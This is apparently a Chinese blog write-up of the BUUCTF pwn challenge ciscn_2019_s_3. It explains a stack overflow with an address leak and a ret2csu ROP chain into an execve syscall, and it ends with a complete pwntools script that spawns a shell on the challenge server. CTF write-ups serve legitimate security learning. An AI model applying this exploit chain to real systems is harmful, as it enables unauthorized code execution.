[buuctf]ciscn_2019_s_3

首先查看一下保护措施
image
然后用ida打开文件,这里主要有一个vuln函数
image
这里可以进行栈溢出,并且write函数还会打印栈上额外的内容
image
这里的汇编在结束时没有pop ebp,所以在溢出时直接写入所需要的覆盖的地址就行了
然后这题也没有找到后门函数,/bin/sh也没有发现,libc泄露也不行
但是发现一个奇怪的函数
image
这里将rax 赋值为0x3B,经过查询发现这是execve函数在64位下的系统调用号,那这里思路就有了,根据64位下的传参规则以及execve的调用,需要将
rdi里写入 /bin/sh, rsi和rdx赋值为0,这里就需要自己写入/bin/sh,并借助泄露的地址来确定/bin/sh的实际地址
然后这里还需将rsi和rdx赋值为0
在_libc_csu_init函数中可以实现这个目的
image
可以通过控制r13,r14来让rsi rdx的值为0,rdi我们就通过ROPgadgets来获得

点击查看代码
from pwn import *
r = remote("node5.buuoj.cn",27374)
vuln_addr=0x4004ED
payload=b'/bin/sh\x00'*2+p64(vuln_addr)
r.sendline(payload)
r.recv(0x20)
stack_addr=u64(r.recv(8))
bin_sh_addr=stack_addr-0x118
gadgets1=0x40059A
gadgets2=0x400580
execve=0x04004E2
rdi_addr=0x4005a3
syscall_addr=0x400501 
payload=b'/bin/sh\x00'*2+p64(gadgets1)+p64(0)+p64(0)+p64(bin_sh_addr+0x50)+p64(0)+p64(0)+p64(0)+p64(gadgets2)
payload+=p64(execve)+p64(rdi_addr)+p64(bin_sh_addr)+p64(syscall_addr)
r.sendline(payload)
r.interactive()

posted @ 2025-08-28 10:19  Rye01R  阅读(14)  评论(0)    收藏  举报